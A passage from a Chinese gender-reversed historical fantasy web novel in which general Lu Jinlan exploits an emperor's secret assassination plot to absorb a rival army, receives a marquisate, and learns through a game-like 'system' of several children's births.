刺客急得额上冒汗,只得老实交代:“我招!但我招了,你们可千万别说出去。否则,咱们都有性命之忧。我奉的是密旨,是皇上派我来的。” “什么?”三人惊得说不出话。 刺客道:“我是大内侍卫,半个月前,皇上命我前来秘密除掉凌信。可我到了这儿,一直没有机会接近她,直到今天才找到机会。” 项如蓁不信,“你说这话,可有证据?” 刺客回道:“皇上口谕,没有证据。” 陆锦澜一想也是,皇帝暗杀将军,这样的事,要做得隐蔽,怎么会留证据? 她忙命人先将刺客押下去,严加看管。 陆锦澜锁着眉,在屋子里踱步。 晏无辛不安道:“事情有点不妙,咱们一不留神撞破皇上的秘密,这可如何收场?” 项如蓁怀疑道:“还不知道她说的是不是真的呢!皇上为何要用这种方式除掉凌信?就算杀了凌信,凌家军仍在,顶多是短暂的混乱几天,定北侯很快会委任下一个人,继续接管凌家军。这对皇上来说,有什么用呢?” 陆锦澜正百思不得其解,听到项如蓁漫不经心的话恍然大悟道:“有用!短暂的混乱几天,有大用!” 晏无辛忙问:“你想到了什么?” 陆锦澜道:“半个月前皇上发出密令,那不正是我刚接管囚龙关的时候吗?那时我从凌信手里抢走了三万兵马,一直防着她,怕她要回去。如果刺客早早得手,凌家军自己乱起来,哪还顾得上管我要兵?” 晏无辛茅塞顿开,激动地一拍桌子,兴奋道:“岂止啊!说不定你还能趁乱再弄点凌家军的兵马,哪怕就在你手里留个五六天,也够咱们打一仗了。” 陆锦澜连连点头,“如果按照这个思路想,那皇上封我为后将军的用意就不言自明了。” “刺客一旦得手,凌家军的所有将领官衔都在我这之下。我急于用兵,北州城就在我嘴边,趁着她们群龙无首,我极有可能去城里游说一番,软硬兼施,也许一部分凌家军就要归到我的麾下了。” 项如蓁喃喃道:“这么说来,从你到囚龙关那一刻起,皇上就希望你能帮她逐步瓦解凌家军。你初到囚龙关,就捏住了八万凌家军。皇上就想办法给你制造机会,让你把剩下的那三十二万,逐步吞掉。” 晏无辛叹道:“这么说我就全想明白了,皇上和定北侯斗得你死我活,互不相让。定北侯一味败退,想保存凌家军的实力。皇上本来已经没有办法了,可这时候她突然发现锦澜是个有匪气的家伙,能骗能抢能忽悠。” “也许皇上最初派你来囚龙关,只是希望你能出奇制胜,遏制败局。但你扣下那三万兵马,给了她灵感。圣上猛然想到,可以一箭双雕。” “她用你来瓦解凌家军,你用凌家军打胜仗。你把凌家军牢牢攥在手里据为己用,客观上削弱凌家军的势力,这不是两全其美吗?” 陆锦澜长叹一声:“是啊,凌信一死,对我来说百利无一害。这个刺客虽然拖延了这么久才出手,但不得不说,她今天出手是最好的时机。” “现在凌家军正与宋家军混在一起,凌信已死,四十万凌家军正茫然无措,我母帅可以理所当然的接管凌家军。今日之后,就再无凌家军了。” 项如蓁拍案道:“太好了!这么一来,咱们再也不用担心出现叛军了。” 陆锦澜点头道:“今天不仅大胜,还正好帮皇上解决了一个心腹大患,我这就去见大元帅。” 晏无辛忙道:“不好!不妥!你们别一时兴奋,只想好的一面。” 晏无辛对陆锦澜道:“别忘了,在皇上的计划里,是让你瓦解凌家军。你能弄到手里多少,算你的本事。你把四十万凌家军全弄到你手里,肯定超出她的预期,更别提让大帅接管。” “虽然说由大帅接管,将来也是你的,但这根本不是一回事。你想想,将近七十万兵马全在大帅手里,皇上怎么能不忌惮?这么大的数字,我说出来都要吓死了。” 陆锦澜脸色一变,晏无辛低声提醒道:“定北侯,可是前车之鉴。” 陆锦澜深吸一口气,“你说得对,皇上在这方面一定比谁都敏感,容我想一个万全之策。” 晏无辛道:“你想吧,这种事我也帮不上你。我去看看那个刺客,她既然是奉密令来的,被人知道,她也有性命之危。咱们干脆装什么都不知道,把她放了。她不说咱们也不说,这事就算过去了。” 项如蓁道:“我跟你一起去,我去叮嘱一下相关人等,让大家管住嘴巴。” 二人一走,陆锦澜一个人坐在桌前,思绪万千。 * 囚龙关一役,打得邪乎。 三个国家参战,三位君主手里拿到的战报说的都是同一件事情,三位皇上却都表现出不同程度的震惊,几乎都是匪夷所思,不可置信。 姜国皇帝:“什么?败报?我们竟然输了?” 曲国皇帝:“捷报?知道,赢了就赢了吧,和姜国一起打一个小小的囚龙关,还能不赢?什么?姜国败了?我们和嬅国一起打败了姜国?” 嬅国皇帝赵敏成于梦中惊醒,听闻外面传来捷报,忙道:“快念!快念!” 侍从捧着捷报眼含热泪,激动道:“恭喜圣上!陆将军联合曲国军队和宋家军,在囚龙关外围剿四十五万姜国大军,血战一日,歼敌十六万有余,打了场咱们嬅国有史以来最大的胜仗!” “好!”赵敏成朗声大笑。 侍从笑道:“姜军损失惨重,残兵急撤一百三十余里,退守姜国的业州城。皇上,咱们的失地都收回来了!” 赵敏成眼眶湿润,点了点头,“好!太好了!还有什么消息?” 侍从道:“陆将军这战报写得太细,为一百三十多人呈报了战功,请皇上您亲自过目后圣裁,臣就不一一赘述了。但还有一事,要禀明圣上。” “陆将军说,此次囚龙关一役,除宋家军外,凌家军也全数出兵增援。主将前将军凌信战死,其余将领亦英勇作战,一雪败绩。” “陆将军说,凌家军之前作战不力,应该是指挥有误,借此机会,不妨改编整顿提升战力。此役之后,北境再无战事。她想挑选二十万精兵,成立一支战无不胜的赤诚军,驻守北地。其余二十万兵马,操练一月后,编入各地守军,充实国内军力。” 赵敏成勾了勾嘴角,“赤诚军的赤诚是哪两个字?” “回圣上,是赤诚忠勇的赤诚。” 赵敏成微微点头,喜悦的眼底又多了几分别样的意味,“赤诚忠勇?好极了。从此,凌家军就在这个世界上消失了。” 赵敏成心口的大石头终于落下,“你立即让内廷拟旨,派人去定北侯府,将定北侯押入天牢。” 侍从愣了一下,“这……请问陛下,圣旨上要写什么缘由?” 赵敏成冷笑一声:“陆将军不是说了吗?凌家军作战不力是因为指挥有误,就先用‘指挥有误’这个罪名把定北侯关起来。” 侍从留下战报,快步去了。 赵敏成拿着 战报看了又看,重新唤进来一位侍从。 “给朕大声念,一直念到朕让你停下来为止。” 侍从清了清嗓子,开始高声宣读。 赵敏成躺在龙床上,听着胜利的捷报,噙着笑意,睡意渐浓。 她一直没有叫停,侍从从嗓音清亮念到嗓音嘶哑。天,终于亮了。 第二天,忠勇园内喜事连连。 宋凛丞刚刚生产,宫里传旨的官员便到了。 上上下下,忙成一团。 陆锦澜的爹严氏急匆匆从产房出来,对宣旨官赔罪道:“劳大人久候,我妻主不在京中,女儿更远在边关。我女儿的正夫刚刚诞下孩儿,伤口尚未止住血。听闻大人到此,只好由我前来接待。” “我一个夫道人家,不懂礼节,招待不周,请大人不要怪罪。不知大人要传什么旨意?要让谁来接旨?” 第89章 宣旨官是陆府熟客曾颖,曾颖笑道:“老夫郎不必客气,您还不知道吧?陆大人在前线打了大胜仗,昨夜捷报入京,龙颜大悦,圣上大行封赏。今天的旨意,是给陆大人的正夫的。不过大夫郎既然刚刚生产,就不必出来接旨了。” 严氏又喜又惊:“真的?锦澜又打了大胜仗?这可真是天大的好事。不过这圣旨来了不出来接,会不会触怒天威啊?皇上不会觉得我们家居功自傲吧?” 严氏心里七上八下的,慌道:“哎呀,我们可不能给锦澜添麻烦。要不大人稍等,我去看看血止住没有,让人把凛丞抬出来吧?” 曾颖忙道:“您多虑了,皇上现在高兴得都快大赦天下了,不会计较的。何况情有可原,我与陆大人颇有私交,若上面问起来,我会帮你们解释的。” “另外,我再给您透个喜讯。皇上已经晋陆大人为嫖骑将军,加封靖安侯。封赏的圣旨正加急送往前线,陆大人还不知道呢,但我先恭喜您,您的女儿封侯了。” 严氏一听差点乐晕过去,“我的老天奶!我们陆家八辈子没出一个当官的,锦澜竟然封侯了?简直跟做梦一样,我要昏过去了。” 庆儿连忙扶住他,笑道:“你先别昏,咱们得赶紧派人去云州通知老娘,她现在是侯君的娘了。” 严氏连忙摆手,“先别通知,等我问问清楚。曾大人,我见识浅薄,请问这个靖安侯是几品?” 曾颖笑道:“没有品级,是超品。所有大小官员,见到陆侯,都得行礼参拜。皇上还大手一挥,赏了一州的封地。以后那一州的赋税都归陆侯所有,这可是从未有过的厚赏。” 严氏笑得合不拢嘴,连连点头,“超品好,封地好,澜儿这回真是光宗耀祖了。” 曾颖道:“还有呐!靖安侯之位世袭罔替,您刚刚说大夫郎刚刚生了,生的是女是男?” 严氏忙道:“是女儿,澜儿的嫡女。” 曾颖拱手道:“那我要再道一声恭喜,这个女儿就是小侯君了。我今儿来宣的这道旨意是封赏大夫郎为二品诰命夫郎的,大夫郎既然不能出来接旨,那就命人把小侯君抱出来吧,算是替她爹接旨了。” “好好好!”严氏一叠声的答应着,忙命庆儿去抱孩子。 全府上下,高兴得晕头转向。 * 产房内,医师刚刚给宋凛丞缝合好伤口,雨眠又往他嘴里塞了几颗止痛止血的药,宋凛丞顶着满头大汗,总算喘过气来。 他虚弱地问:“外面怎么闹哄哄的,是不是发生什么事了?妻主好些日子没来家书了,我昨晚梦做得不好,你快去看看。” 雨眠忙道:“说是宫里来人了,没什么事。” 宋凛丞一听差点坐起来,“宫里都来人了,还说没事?” 雨眠急道:“快别乱动!宫里人是来宣旨的,爹已经去支应了,你就别管了。你这孩子大,一刀下去,伤口有一尺多长,比我生安东的时候还吓人。好不容易止住血,你就别乱动了。” 两人正说着,七郎扶着肚子急匆匆赶来。 雨眠无奈道:“你也快生了,不是让你别来吗?你这肚子太大,这儿挤挤擦擦的,碰了你可怎么好?” 七郎道:“我听着外面这么吵,还以为出了什么事,就想过来看看。” 雨眠道:“没事没事,父女平安。倒是你,我看你这两天脸色越来越差,等会让医师给你瞧瞧。” 七郎道:“我没事,可能就是没休息好,我先看看孩子。” 陆安北躺在垫子上,刚刚称过了重量,大眼睛眨巴眨巴,小脚在空中不停的蹬着。 七郎奇道:“不说孩子刚生出来都是闭着眼睛的吗?她怎么睁着眼?跟大孩子似的。” 医师笑道:“这孩子胎里营养足,生下来就健壮,小拳头可有劲儿了。您可小心点儿,别让她碰到你。” 七郎微微一笑,“这话说的,她一个刚出生的奶娃娃,还能跳起来打我不成?” 他说这话的时候,正站在陆安北旁边。那孩子仿佛听懂了似的,要给他表演一下,一脚踢了过来,正中七郎的肚子。 众人只听“哎呦”一声,七郎两眼一闭向后仰去,众人连忙把他扶住,惊呼道:“医师!快来看看!” 屋内乱做一团,庆儿这时候跑进来报喜:“少主打了大胜仗,封了靖安侯。小少娘一出生就成了小侯君,老夫郎让我把孩子抱出去接旨呢!” 凛丞气道:“什么小侯君?她简直是小魔王,快把她抱出去!” * 陆锦澜接管了四十万凌家军,正在囚龙关外练兵休整,系统忽然弹出一条提醒。 「叮!恭喜宿主子嗣+1,获得一个女儿,生命值+100000!系统商城解锁一百件新物品,系统赠送‘再为人母’大礼包一份!」 陆锦澜算了算日子,应该是凛丞生了。谢天谢地,生了个女儿,不然不用她不高兴,宋凛丞都得气不过。 她正琢磨着今晚找个什么由头,和大家庆祝一下,没一会儿系统又接连弹出了三条提醒。 「叮!恭喜宿主子嗣+1,获得一个女儿,生命值+100000!系统商城解锁一百件新物品,系统赠送‘又为人母’大礼包一份!」 「叮!恭喜宿主子嗣+1,获得一个男儿,生命值+10000!系统商城解锁十件新物品,系统赠送‘又为人母’礼包一份!」 「叮!恭喜宿主子嗣+1,获得一个男儿,生命值+10000!系统商城解锁十件新物品,系统赠送‘又又为人母’礼包一份!」 陆锦澜直接愣在原地,这系统还挺重女轻男的,不过等一下!这是谁给我生了一堆孩子? 难道我在不知情的情况下睡了谁,还让他怀孕了吗? 是我记忆错乱了还是系统错乱了? 陆锦澜陷入自我怀疑,她甚至开始追溯时间线,掰着手指回想十个月前发生的事儿。 琢磨半天,毫无头绪。最后暂时认为是凛丞一胎生了四个,至于具体情况,等家里来信再说吧。 三天后,封赏的圣旨终于到了边关。 陆锦澜率全体将士接旨,她呈报的一百多名将士都有封赏,宣旨官整整念了两刻钟才念完。 陆锦澜升了二品嫖骑将军,地位仅次于宋婧骁的大将军。还加封了靖安侯,皇上将北州赏给她做封地。 晏无辛升任从二品左将军,项如蓁升任从二品右将军。 左隋之、孔鸾、孙乐闻、楚易舒等人,都得了五品杂号将军衔。 凌照人在囚龙关一役中负了伤,背上中了一箭,肩上被砍了一刀。 凌照人这家伙平素虽然傲慢,但大家毕竟同窗一场,还曾一个寝室住着,朝夕相处过半年,彼此虽有过不快,但也算不上大仇。 晏无辛那日挟持她是情非得已,心里一直歉疚着。眼看着凌家要完,她便和陆锦澜商量,“她这人虽然没有脑子,但也不算太坏,好歹是同窗,能保她就保保她吧。” 陆锦澜道:“我也是这样想。定北侯一旦倒下,凌氏一族恐怕都要完了。但照人现在伤成这样,我也不希望她被连累。” 考虑到凌家的情况,陆锦澜特意在战报里多给凌照人写了几笔,夸奖她英勇作战以致身负重伤云云。 皇上大约看出了陆锦澜的用意,虽然已经把定北侯下狱,但还是封了凌照人一个五品杂号将军,封号是恭顺将军。 皇上准了陆锦澜的提议,许她将四十万凌家军重新整编,挑选精兵组建赤诚军。两个月后,二十万赤诚军驻扎北境。 剩下的二十万兵马中,皇上让她再挑选五万精兵,带回神京加入禁卫军,其余编入各地驻军。 组建赤诚军是陆锦澜想到的一计,用来安抚皇帝敏感的神经。她发现皇帝特别喜欢在封号上做文章,于是投其所好,选用了‘赤诚’二字。 其实她打完这场仗,感触最大的就是称号没什么用。叫什么归叫什么,做什么归做什么。 用晏无辛的话说:“称号这东西要是不和权力挂钩,就是忽悠人的,没几把用。” 凌家军还叫凌家军呢,可定北侯久不在军中,只靠着几个心腹操控这么一支庞大的队伍,还要带着大伙干掉脑袋的 事儿,关键时刻人全跑了。 同样的道理,赤诚军也不意味着多赤诚。 陆锦澜不是傻子,她也得为自己考虑。费了这么大的劲,得了这支军队,她至少得让她们忠于自己,关键时刻自己能调得动。 至于是否忠于皇上要看情况,反正她现在是忠于皇上的,赤诚军自然也是。但她不得不防备着,不能让自己沦为下一个年羹尧或者岳飞。 有了定北侯的前车之鉴,陆锦澜意识到主将和将士关系的重要性。很多东西,是书本上学不到的,一定要亲自体会,才能懂得其中的微妙之处。 比如囚龙关一役,她发现那些死死跟在她身边的,都是她平常关怀过的战士。 有些战士只和她说过一两句话,但对方会觉得‘陆将军记得我,我就跟着她干’。 在生死考验面前,个人情感这种虚无缥缈的东西,依然起到了无比巨大的作用,这是陆锦澜之前完全想不到的。 她之前想不通凌家军为什么一次次执行主将后撤的糊涂命令,自己带兵之后便明白了。 有些战士不懂这个那个的大道理,人家就跟自己的主将熟,不听主将的难道听她一个陌生人的? 这就像她自己,如果让她为别人卖命她肯定不愿意,凭什么呀?但是让她为项如蓁和晏无辛去出生入死,她二话不说。 对于将士们来说也是一个道理,只要关系到位了,为谁卖命不是卖呢? 所以陆锦澜趁着自己在边关带兵的时间,努力搞好关系收服人心。 有事没事就翻翻名册,充分利用一下自己的好记性,记住战士们的名字。夜晚巡查各处,对值夜的守卫都关怀几句。 操练间隙,她就和战士们拉拉家常。问问大伙,“家里都好不好啊?有没有什么困难?” 遇到偶感风寒的战士,她便解下自己的披风,慷慨相赠,给将士们感动到哭得稀里哗啦,项如蓁和晏无辛都看得一愣一愣的。 陆锦澜心道:“什么皇上什么定北侯,你们懂怎么抓部队的思想工作吗?你们懂如何关怀战士吗?还得是我啊!又当首长又当政委,我他爹的真是个人才。” 今日这番封赏下来之后,她身为主将,去和每个人拍拍肩膀,说几句鼓励的话,顺便关怀下伤员的伤势。 一套流程下来也累够呛,她回到屋里刚喝了杯茶,项如蓁和晏无辛提着酒来恭喜她。 晏无辛笑道:“怎么样啊陆侯,今晚喝一个吧。” 项如蓁道:“干脆我去打几只野鸡,咱们一会儿到河边野炊去。难得咱们同步高升,必须得好好庆祝一下。” 陆锦澜笑了笑,“庆祝是得庆祝,但不瞒你们说,我今天又领悟到一个道理。你要是让皇上知道你能干,她就让你往死干。” 晏无辛不解,“为何这么说?” 陆锦澜从怀里掏出一道密旨,“你们自己看吧。” 第90章 这道密旨和封赏的圣旨是一块来的,传旨官私下给了陆锦澜。 密旨上赵敏成给陆锦澜下达了两个指示,一是让她协助使团和姜曲两国谈判,二是让她找到凌之静通敌的证据,回京时把证据一并带回去。 项如蓁看完奇道:“你上次见索红珠的事儿,只有咱们这几个人知道。姜国皇宫存有凌之静通敌书信的事,除了我和无辛之外,你没和别人说吧?” 陆锦澜无奈地笑了笑,“我当然没和别人说,我又不是没话聊,我说这个干嘛?” 项如蓁道:“那就怪了,皇上怎么知道的?她怎么知道你能找到通敌的证据呢?” 晏无辛嘿嘿一笑,“我有个恶意的揣测,说出来你们听听。我猜啊,皇上根本不知道通敌证据是否存在。” “反正现在凌家军已经不存在了,定北侯被夺了爵位丢到大狱里,只缺一个天大的罪名,皇上就可以顺理成章的下旨斩首。你们说,皇上这意思都这么明显了,谁会追究证据的真伪?” “皇上既然让锦澜带证据回去,她多半是认定你这人做事不讲章法,够邪性。她肯定觉得就算你找不到证据,也能造一个证据给她带回去。到时候你俩一个完成任务,一个有了杀人的由头,这不是一拍即合吗?” 陆锦澜点了点头,“她大概就是这么想的,只不过她想不到,我真的知道证据在哪儿。我说这老太太一直抠抠搜搜的,这回突然大方起来。又是给我升官,又是给我封侯的,原来没有一样赏赐是好拿的。搞不好,我真得走一趟姜国皇宫。” 三人正说着,外面人来报,北州牧于继芳到访。 陆锦澜忙把密旨收起来,让人把于大人请进来。 于继芳刚得了消息,是来贺喜的。 一见面满脸笑意,拱手道:“恭喜恭喜!恭喜三位将军高升,更要恭喜陆侯提领北州,我给侯君见礼了。” 陆锦澜忙把于继芳扶起来,“于大人别逗我了,咱们老相识,不必多礼。” 三人忙请于继芳入座,命人奉上热茶。 于继芳笑道:“皇上自登皇位以来,还未给过谁封地。独独这次将北州给了陆侯,真是皇恩浩荡啊。” 陆锦澜呵呵一笑,“我说于大人,别人这么说也就算了,你这么说可就是揣着明白装糊涂了。咱这儿没有外人,咱都实话实说,” 陆锦澜往椅子上一靠,开始吐槽。 “不是我嫌弃北州这地界,但你们说,这北州是出了名的穷。那长州是流放的地方,好歹还有矿场,一年的税收都比北州多两成。皇上把北州给我做封地,应名是一年赋税都给我,可实际上能有多少啊?于大人,这你最了解。” 于继芳尴尬一笑,“北州前些年,年景好的时候一年能收个十几万两。当然,这点钱你们陆家应该看不上。另外这几年不是有灾情吗?财政上三年没结余了,每年还倒欠几千两。” “不过陆侯不用忧心,上次你们在大青山找回之前丢失的赈灾银,我已经把账都平上了,现在没有欠款了。” 陆锦澜笑道:“你们听听,这要是有欠款,我还得倒贴。” 项如蓁笑道:“话虽如此,但你可以在封地自治。北州这地方够大,好好弄一弄,说不定就富饶起来了。不管怎么说,你也算是‘北州王’了。” 于继芳也道:“就是说呢,我这几日琢磨着侯君您和曲国关系不错,现在正好和她们商量商量。” “咱们把曲国赤州境内的河流引过来,以后不就不用担心旱情了吗?陆侯,北州可是您自己的地盘了,您得为自家人多筹谋几分啊。” 陆锦澜笑着摇头,“我说于大人这么急着来道喜,原来是无事不登三宝殿,正经目的在这儿呢。” 于继芳笑道:“陆侯话不能这么说,我也是真心来道喜的。再说,皇上把北州给您,对您也是有好处的。” 于继芳话说三分,便笑着喝茶。在座都是聪明人,自然懂得她未道明的那层意思。 赤诚军驻扎北州,皇上便把北州给了陆锦澜,这二十万赤诚军就算是给她了。当然了,这个给也不是白给。 北州是边境,日后再有战事,守土作战也是她的事儿。 陆锦澜真是越想越觉得赵敏成这个老太太有意思,大概能夺帝位的人,都有天下非朕不可的气魄。 赵敏成深谙帝王之术,做一件事常有八百个心思。 看似给人赏赐,但赏的同时又要了点什么。看似提了某些要求,但也确实给了些好处。 来回拉扯之间,真是让人喜不至于忘情,怨不至于生恨,让人在她帝王的权术中,战战兢兢如履薄冰,毫无办法。 陆锦澜不太喜欢这种感觉,但又不得不佩服她。 * 几日后,京城来的两个使团到了边关。头一件事,是先到陆侯这里拜会。 两个使团代表都道:“皇上的意思是咱们既然打赢了,就要让姜曲两国割地。但具体要几州之地,让我们和陆侯商量。皇上说您和她们打交道最多,要多少能要到,要不来能不能再打,要我们问您的意思。” 陆锦澜有点为难,“打姜国是可以打,但是曲国已经和我达成联盟了,再打人家,有点不地道。皇上跟你们透底没有?至少要几州?” 使团代表道:“皇上要我们尽可能的多要,但是也知道大概要不来,能在两国各要到一州之地,就算我们完成任务了。” 陆锦澜点了点头,“这么说,皇上想要两个城池,那我心里就有数了。” 陆锦澜想了想,有了主意:“这么的,你们去姜国的这拨人,甭跟对方客气。开口就要三个城池,最终至少也要拿到两个城池。告诉她们,不给我就要打。我会天天在业成外练兵,你们就放心大胆的谈吧。” “去曲国的几位,你们态度客气点。见到萧承英,你们就说是咱皇上想要一个城池,跟我没关系,我是极力反对的。但是皇上要是坚决不同意的话,我也只能打她了。让她最好把赤州城给咱们,才能万事大吉。” 两位代表听了都觉得头大,“这……这能行吗?” 陆锦澜:“谈谈试试呗,不行再说不行的。这里面事情多了,我回头会上折子跟皇上细说。反正皇上要两个城池,咱给她弄到两个城池就是了。” “你们去谈的时候千万别着急,先谈上一个月。反正我两个月后回京,在回京前,咱把这事儿定下来就成。” 去曲国的代表还是有些忐忑,“陆侯,您说我们到了曲国怎么和人开口?人家毕竟是帮咱们打了姜国的,我这一开口,人家还不把我们骂一顿?” 陆锦澜道:“那肯定是要把你们骂一顿的,我要是萧承英我也骂。但骂就骂吧,你们左耳进右耳出,别放在心上。对方不同意,你们就别逼着人家天天谈了。” “你们干脆在曲国旅旅游,逛一逛,多给家人买些土仪。先抻着,等姜国这边有了结果再说。实在不行,就让萧承英来找我,我会给她个交代的。” 代表忙问:“你有什么计策?能不能给我们透个风?” 陆锦澜胸有成竹道:“到时候你们就知道了。” 使团众人听闻她机智过人,深信她必有妙计,放心的出使两国。 等使团一离开,陆锦澜立刻吩咐军中上下:“千万别放曲国人进来,就说我最近忙,不会客。” 她现在哪有什么计策?见了萧承英她也没话说,只好先躲着。 但过段日子或许会有办法,她也告诉自己:“到时候你就知道了。” * 为了拿证据,陆锦澜派人混在使团里,潜入上都,先去探查姜国皇宫内的情况。 她一边练兵一边等消息,这日守卫急匆匆赶来,陆锦澜还以为派去上都的人回来了,结果守卫笑着说:“侯君,您家里来人了!” 陆锦澜赶过去一看,洗墨和怀星正扶着雨眠下马车,后面还跟着好几马车的东西。 陆锦澜眉头一皱,“哎呦喂,你们这是做什么?我这儿是军营,你们怎么把家搬来了?” 雨眠忙道:“这是三家的东西,本来大家都盼着你们回京了,结果听金大人说又要和谈又要组建赤诚军的,还得等两个月。你们走时没带多少行李,快过冬了,总得来给你们再送些冬衣吧?” 陆锦澜无奈,“行行行。来人,去把晏项二位将军请来。洗墨、怀星,你俩把各家的东西分出来。” 她说着又看了看雨眠,“你,跟我来。” 雨眠抿了抿唇,快步跟在她身后。 进了房内立刻将门一关,陆锦澜一把将雨眠推到床上,压在他身上审问:“说,怎么招呼都不打,就跑这儿来了?” 雨眠看了看她的神色,解释道:“是娘准我来的,你一直在打仗,家里人都怕你受伤,总得来人看看才放心。而且有些事儿,信上也说不明白。再说,再说……我想你了。” 雨眠抱着她在床上打了个滚儿,亲了亲她的脸,眼里很是委屈,“你就一点也不惦记我?” 陆锦澜枕着手臂躺在那儿,勾了勾嘴角,“谁说的?我前几日做梦还梦见你了。” “真的?” “真的。” 雨眠伏在她颈间轻舒一口气,“总算你没忘了我。” “怎么会忘了你呢?”陆锦澜搂着他,摸了摸他温热的脸颊,“家里都好吗?咱们的孩子好吗?” “好,都好。你一走,爹就从云州赶过来,在忠勇园支应着。咱们安东长得可快了,已经重了不少。不过,有个事儿,是意料之外的,我跟你说了,你可别着急。” 陆锦澜心里咯噔一下,“你说。” 雨眠道:“十日前,凛丞生了,生了个女儿。虽然孩子大了点,但父女平安,都挺好的。” “赶巧那天曾大人到家里来宣旨,闹哄哄的,七郎还以为出了什么事,就过来看。被安北那孩子给踢了一脚,踢到了肚子上。” 陆锦澜诧异道:“一个刚出生的小婴儿能有多大劲儿?” 雨眠道:“别提了,她有有劲儿着呢。七郎当时就晕过去了,幸好几个医师都在。医师一把脉,说他那个脉象乱窜,有些凶险,得提前把孩子取出来。” “结果划开肚子才发现,他怀的是三胞胎。怪不得他肚子那么大,之前医师怀疑过是双胞胎,但是他那个胎象一强一弱,弱的那个总是时有时无的。医师怕弱的那个活不成,就没跟我们说,只跟娘说过一嘴。” “其实双胞胎还好,可谁也没想到是三胎。医师说,早知道是三胎,上个月就该取出来。不然父体撑不住,大人孩子都保不住。幸好七郎身体健壮,孩子也都活下来了,现在都在家里养着呢。” 陆锦澜听完松了口气,想想都觉得头皮发麻。 这里医疗条件跟现代相比实在是太差了,没有四维五维的,简直就是开盲盒。现代生产尚且是过鬼门关,何况是这里。 “七郎没事吧?一下子生三个,真是苦了他了。” 雨眠忙道:“他还好,幸好有你留下的药,止住了血,剩下的只能慢慢养。孩子都由奶爹照顾着,他让我问问你,女儿叫安西了,那两个儿子叫什么好?两个男孩儿胎里不足,生来孱弱,想让你取个好养活的名字。” 陆锦澜琢磨了一下 ,“容我想想。” 她拆了下系统给她的生育礼包,两个女儿的大礼包还之前的一样,还是老四样:为母则刚永久大力丸、终身崇拜母亲丹、婴儿强身健体丸、夫郎产后修复膏。 两个儿子的小礼包里面只有两样东西,第一样是提升男儿颜值润肤膏。 陆锦澜看得呲牙,净给些没用的东西,抹了这个孩子颜值是提升了,但是漂漂亮亮的病秧子有什么用?嫁出去都怕被妻家欺负。 幸好,第二样是婴儿免疫力提升散,能让孩子在零到三岁之间少生病。 陆锦澜一想,也行,两个男孩儿虽然孱弱,但只要过了最难将养的时候,就不怕他们出事了。大不了多补充些牛奶羊奶,后天好好补补,能平安长大就行。 陆锦澜自己把大力丸吃了,剩下的东西都写好是给谁的,怎么用,一起交给雨眠。 至于名字,她左思右想,最结实的东西也就是铁和钢。 陆锦澜:“有了,男孩一个就叫陆似铁,一个就叫陆似钢。” 雨眠一听忙道:“你再想想吧!谁家男孩叫这个名字?这以后怎么嫁人?” 陆锦澜:“这名字多结实啊!” 她又琢磨了一会儿,“这么着吧,传说玄铁是最结实的。一个就叫陆玄生,一个就叫陆玄平。这回总行了吧?” 雨眠连连点头,笑道:“这回好,听着性子温和多了。” 陆锦澜又问:“是安西先出来的?还是这俩先出来的?” 雨眠道:“本来是安西先取出来的,但是爹说让两个男孩儿当哥哥,以后可以学着照顾妹妹,就定了安西当妹妹。” 陆锦澜叹了口气,这种事儿她在现代常有耳闻。 比如龙凤胎,明明是男孩儿先出来的,偏要让女孩儿当姐姐。理由是当姐姐会照顾人,以后可以帮衬弟弟。现在可好,倒过来了,何尝不是一种业报。 陆锦澜:“知道了,你休息几日就回去吧。过不了多久,我也回京了。” 雨眠不愿,“你就让我照顾你一段日子吧?你看你这儿,乱糟糟的,身边没有个男人伺候怎么行?” 陆锦澜笑道:“这是军营,你一个男人留在这儿不像话。乱着就乱着吧,又不影响什么。” “是吗?”雨眠意味深长地瞥了她一眼,叠起床边乱丢的衣物,酸道:“我怎么听说,前些日子,你身边一直有个男人来着?” 陆锦澜轻笑一声,心虚地问:“你听谁说的?” 话音未落,项如蓁在外面敲门,“方便进来吗?” 陆锦澜喜道:“方便,太方便了,快进来!” 项如蓁和二人寒暄几句,便忍不住问道:“雪卿怎么没来?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 雨眠忙道:“我差点忘了,雪卿让我帮他带了封信给项将军。他本来是要一起来的,收拾行装的时候晕了过去,医师一把脉,才发现他已经有孕了。不足三月胎象不稳,金大人死活不让他动身,他只好托我把东西和信带过来。” 陆锦澜愣了一下,之前听说过,新婚夜夫郎有孕叫座上喜,没想到让项如蓁给遇上了。 她拍了拍项如蓁的手臂,“恭喜恭喜!行啊你,这么快就要当娘了,你得请客。” 项如蓁笑了笑,“当然,这事儿我不会推脱,等你和无辛有空……对了,无辛呢?” 雨眠偷偷勾了勾嘴角,陆锦澜这才想起来,“忘了问你,怀星怎么来了?” 雨眠忙道:“你让姜兰教那些男仆武功,不就是为了我们夫郎出门带着他们安心吗?再说怀星自告奋勇,说想要跟着来看看他师傅,我也没理由拒绝啊。” 陆锦澜不信,微微眯了眯眼,“只是让他跟来,你就没教他点儿别的?” 雨眠慌张地移开目光,“我能教他什么啊?不过就是说了些伺候人的法子,让他学着怎么照顾晏将军而已。你们聊,七郎托我给十三带了些东西,我去看看他。” 雨眠一走,陆锦澜才想起来,怪不得她和萧衡的事儿都传到京城去了,原来有十三这个大嘴巴。 他不会写字,只能托人写信,还不忘把这儿的八卦告诉他七哥,这嘴比棉裤腰还松。 * 晏无辛见到怀星的时候愣了一下,本来想要说他几句,可见他因为连日赶路风尘仆仆满面风霜,还是将到嘴边的训斥咽了下去。 怀星笑着开口:“师傅,晏府给你拿了好多东西,我也给你带了些你平常爱吃的点心,我帮你归置到房里吧。” 晏无辛点了点头,带着他到自己房里。 怀星立刻挽起袖子,把几箱东西搬进来,开始一样一样归置,嘴里还念叨着:“路太远了,这些点心匣子我放在怀里抱着,有些还是颠碎了,你挑些整的尝尝,剩下丢了吧。” “对了,这件狐皮背心我记得你去年最爱穿,走的时候是不是忘带了?我特意让方卿找出来,给你拿过来了。” 晏无辛坐在椅子上看着他忙前忙后,捏了块点心放入口中,忽然觉得有些不是滋味。 晏无辛的母亲晏维津是位严母,父亲早逝。她自己虽然纳了很多个应子,那些人却都只是为了讨她欢心,做一些酒色陪伴。她还没发现哪个男人能像怀星这般,事无巨细的打心眼里惦记着她。 在晏无辛的生命中,鲜少有这般来自男人的琐碎的关怀,一时竟让她有些难以适应。 “你慢慢收拾,我还有些事要处理。” 她站在外面吹了会儿凉风,想起离京前那晚,两人的荒唐缠绵,这冷风越吹越热。 转身回来,发现怀星衣衫不整,只穿了件薄衫在她眼前晃来晃去,精致结实的腹肌若隐若现。 晏无辛顿时一愣:“你干什么?” 